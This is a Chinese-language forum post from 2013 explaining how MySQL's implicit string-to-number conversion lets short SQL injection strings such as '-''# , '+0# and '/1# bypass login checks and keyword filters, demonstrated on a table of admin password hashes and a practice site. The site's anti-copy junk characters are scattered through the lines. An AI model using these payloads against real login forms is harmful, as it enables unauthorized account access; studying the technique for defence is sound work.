找回密码
 立即注册
查看: 2651|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
0 [% U+ X( J; S/ `0 Z$ Q有以下表结构:
% x/ i8 f1 R6 R. u. M* z9 k& ]- k) J7 E( \# c; |! G3 P" {
mysql> desc admin;7 I% B. j. S: T  ~* [
+----------+--------------+------+-----+---------+----------------+1 Z7 _6 b7 m+ p' V8 K
| Field    | Type         | Null | Key | Default | Extra          |# X# I8 @7 T' N$ q! p: ]; a" t1 w
+----------+--------------+------+-----+---------+----------------+
9 H, _6 \4 c& r) S3 F; E| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
" r6 w6 U5 M$ j| name     | char(32)     | NO   | UNI | NULL    |                |( i. U4 k4 t) L! \7 T1 Y) U3 v! U- J
| password | char(32)     | NO   | UNI | NULL    |                |
: u" o& {! G+ x& ~& n7 W' N+----------+--------------+------+-----+---------+----------------+
" G, k5 Q: ^# x; w4 X1 n" Q3 rows in set (0.00 sec)
  e" J( O+ d7 s$ Q! q5 Q1 [) Y$ e执行select * from admin;,成功返回所有记录内容。. n, Y% V8 k6 j
. `8 l+ S, U' X6 n

% W: V( j3 b5 S# S7 V- ~+----+--------+----------------------------------+0 W# l6 ?5 J; ^# j
| id | name   | password                         |
2 P2 Y  m3 s2 `6 V% [: f+ Y+----+--------+----------------------------------+
9 I3 X3 ?" U( D6 T! W|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |. J. b% \# a, X' ]1 n0 j
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
" ]6 z# k! p8 z! c$ b9 ]|  4 | n00b   | ff80e8508d39047460921792273533a4 |7 }) y$ a; k0 Q) e6 ]$ ~
+----+--------+----------------------------------+9 w% q5 t7 W7 V  W
3 rows in set (0.00 sec)
/ x  M. g3 k3 n. N+ T! I执行select * from admin where name=”;,没有匹配到任何记录。 " @" U: e# N& k1 o$ g

3 T1 s$ N( v, P7 i/ M  g9 Cmysql> select * from admin where name = '';
  V& O" G: H6 T7 E3 B& SEmpty set (0.00 sec)8 b3 L( n* L+ p6 @4 k
那么我们来执行select * from admin where name = ”-”;9 w7 q5 _; M1 a/ |

/ _- q( h& V+ n' y4 N* \+ a) J( _
+ s' p) f; K/ H# d) W+----+--------+----------------------------------+
$ O$ E7 H4 g  L0 x6 c6 q% d4 a% {' @* V; Q| id | name   | password                         |, p! c& g% R$ Z; h9 E9 D1 G
+----+--------+----------------------------------+
! s2 j1 T' T4 q$ c|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |* e% E: D) f( g& x3 Y
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
5 w, U7 E: d7 v  L$ H|  4 | n00b   | ff80e8508d39047460921792273533a4 |
* V( {5 g& R8 {1 P, _$ g+----+--------+----------------------------------+
, c* c: [! z/ L% Q7 T3 Z  w5 F7 A3 rows in set, 3 warnings (0.00 sec)! ^! |. u, M5 k5 w
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
) N5 _- N' R' x+ Z
8 P/ S" t& ~( c- @8 E+ S8 B3 dmysql> show warnings;
3 ~! ~* h$ I4 M' f. ~; ~$ T+---------+------+------------------------------------------% n- q( T9 J: w  S; n  g* ~. y$ Q
| Level   | Code | Message& |, X! y' a, }0 T! m" G6 A+ W
+---------+------+------------------------------------------
4 |- A" ~; A% c| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin- `- g/ O' W2 U1 A
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s7 [" }; ]- l* X, |' h% n
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b; A' V" X, `6 q0 F0 G2 u" `: ^& \
+---------+------+------------------------------------------
! t7 n; c3 K+ u0 N3 rows in set (0.00 sec)
: E) v9 L! A1 w9 q$ t9 C提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
9 o. j3 h% O2 h  _% f& |' O  S$ e
& x2 m  @4 i, d5 n) @+ vmysql> select ''-'';  c# A5 g4 y% f; Z2 k8 P
+-------+( }- U! B4 ^% V
| ''-'' |
$ |* O0 F5 z, `1 E) m7 W+-------+3 k& ?$ N6 f" B9 @- S+ V- o9 ^
|     0 |1 h$ G% C1 l) i- a; Y4 N% f* O
+-------+
1 n8 a( q2 j- x" T1 row in set (0.00 sec)' q1 T- M6 T0 l: J$ k
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
: m! V: y9 v( V+ k# j( n  d' d- O1 b5 {9 L/ z- W% Z  ?
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);/ H+ O- f; G: k' _0 k/ v: {
+-----------------------------------------------------+7 {) U# n  ~, E  b; O3 q; l$ }+ o
| CAST((select name from admin limit 1,1) as DECIMAL) |; o/ A' e2 j& u! i+ O' h
+-----------------------------------------------------+
1 q$ P4 r& u0 ]  Y|                                                   0 |: E( }9 v; Q- s8 U( R2 m" E, U
+-----------------------------------------------------+' F3 Y3 v* Q/ C: x
1 row in set, 1 warning (0.00 sec)
3 h7 ^; Z; l' L. ?7 U因此where语句构成了相等的条件,where 0=”=”,记录被返回。
; w; D( d7 C$ \- u  V
9 }: f: O: j! Q$ Q! M/ f9 ~  |; aSQL注入场景: http://www.sqlzoo.net/hack/
: X# G  ^4 I0 `% W( h4 W$ {8 Z% z$ V' ^' M0 n9 M8 Z$ |
' Z9 x( }6 j8 {9 c8 l' ~" M5 {

" r! D# S6 U/ z; `1 U# c. Y
% G/ C9 ]* p. D- Q6 S$ S9 |如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
& v& s3 ^( C7 k/ s7 B
- X3 y; I  O+ i* r1 T# _那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
# G+ M3 d5 b5 |7 ^4 G6 o% E0 V
7 {/ |; O+ `) q: ^8 }4 V( R9 P) P& n; Z' Y# L. n; V
9 a1 Z# F1 y1 N! ?- Y( j

" j. \* h5 a+ R仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
1 f0 D) x( B4 p
1 O9 c( k: \# k5 N& x0 N   
: d0 ?& N) A  u
$ K, I+ d; y3 e4 S% R6 ^" e除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
- t0 N4 D1 v0 a, r) V. R4 A
5 M$ C/ Y1 `  b& F- \8 r" {  {, |+ ~$ z& k8 o. t0 M
mysql> select ''/1;
: W% w  K9 j( {6 _/ `) E7 `. N+------+3 l+ y/ {' h, x  g9 n
| ''/1 |7 D8 q: g& w5 Q8 W2 S
+------+# q. j! |5 G( S- I9 C
|    0 |) {9 Q7 b$ y' P( M6 D* K% q. B
+------+) ~2 M, r2 y  i: m
1 row in set (0.00 sec)
0 C" p: D: Z. I类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  8 W. t3 V, {  `! R% b9 [) L. w

4 |& q' z$ [* A# K! }% g, L利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。& @) C4 Q( Z- K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表